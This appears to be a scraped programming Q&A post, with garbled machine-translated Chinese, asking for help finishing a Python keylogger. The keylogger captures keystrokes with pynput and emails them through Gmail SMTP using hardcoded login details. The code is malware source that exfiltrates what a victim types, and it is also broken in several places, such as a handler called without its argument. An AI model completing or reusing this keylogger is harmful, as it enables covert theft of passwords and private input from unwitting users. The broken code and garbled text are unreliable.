-2
from pynput import keyboard
import smtplib
events = []
def on_press(key):
try:
('{0}'.format(key.char))
events.append(key)
print(events)
except AttributeError :
print('{0}'.format(key))
def on_handling():
global events
if len(events) == 1:
on_send()
else:
on_press()
def on_send():
server = 'smtp.gmail.com'
port = 587
smtp = smtplib.SMTP(server,port)
smtp.ehlo()
smtp.starttls()
smtp.login("[email protected]","ihacktheworld2017")
smtp.sendmail("[email protected]","[email protected]",events)
smtp.close()
events = []
with keyboard.Listener(on_press = on_press) as listener:
listener.join()
on_handling()
1.本與pynput庫 我想去寫所有事件到一個列表或者一個文件一個鍵盤記錄 3.當達到信件具體LEN其發送到郵件 問題是與organzing的代碼,並與該事件= []變量鍵盤記錄python3與SMTP feauture